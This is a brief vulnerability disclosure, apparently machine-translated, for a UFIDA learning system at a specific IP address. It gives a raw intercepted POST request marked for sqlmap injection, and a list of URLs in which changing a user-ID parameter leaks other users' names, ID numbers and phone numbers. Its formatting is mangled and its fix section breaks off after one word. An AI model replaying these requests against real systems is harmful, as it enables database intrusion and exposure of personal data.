General SQL injection and parallel unauthorized disclosure of user information in a UFIDA System

General SQL injection and parallel unauthorized disclosure of user information in a UFIDA System

 

The file upload and download vulnerabilities (still exist) are not mentioned here)

---------------------------------------------

From the test results, two types of problems are found:

1) SQL Injection Vulnerability

2) Parallel excessive permissions may lead to the viewing of any user information (including name, ID card number and mobile phone number, which I personally think is more serious)

---------------------------------------------
 

0x01: SQL Injection

Question module: Interaction Center-my Q & A-search function
 

 

The intercepted data packet is as follows:
 

POST /lmsv5/myInteract!myQA.action HTTP/1.1Host: 58.214.233.113:8800Proxy-Connection: keep-aliveContent-Length: 75Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://58.214.233.113:8800User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://58.214.233.113:8800/lmsv5/myInteract!myQA.actionAccept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2Cookie: JSESSIONID=4D25FEAF361B95A8B923BD6B29DA90F5SEARCH_SELECT_TYPE=IA_COURSE_NAME&SEARCH_KEYWORD=*&Submit=%E6%90%9C%E7%B4%A2

Run sqlmap directly

Query the current database user and Database Name
 

List some data table names
 

 

0x02: Parallel excessive authorization leads to user information leakage

Problem link: lmsv5/user! EditUserInfo. action? IA_USERID = 38766.

Problem parameter: IA_USERID

Problem description: view the user's name, ID card number, mobile phone number, and other information by traversing the value of the parameter IA_USERID.

Proof of vulnerability:

Current user information: http: // 58.214.233.113: 8800/lmsv5/user! EditUserInfo. action? IA_USERID = 38766.
 

Others' information

Http: // 58.214.233.113: 8800/lmsv5/user! EditUserInfo. action? IA_USERID = 38765.
 

Http: // 58.214.233.113: 8800/lmsv5/user! EditUserInfo. action? IA_USERID = 38764.
 

Http: // 58.214.233.113: 8800/lmsv5/user! EditUserInfo. action? IA_USERID = 38763.

Http: // 58.214.233.113: 8800/lmsv5/user! EditUserInfo. action? IA_USERID = 38762.

......
 

0x03: End

 

Solution:

Filter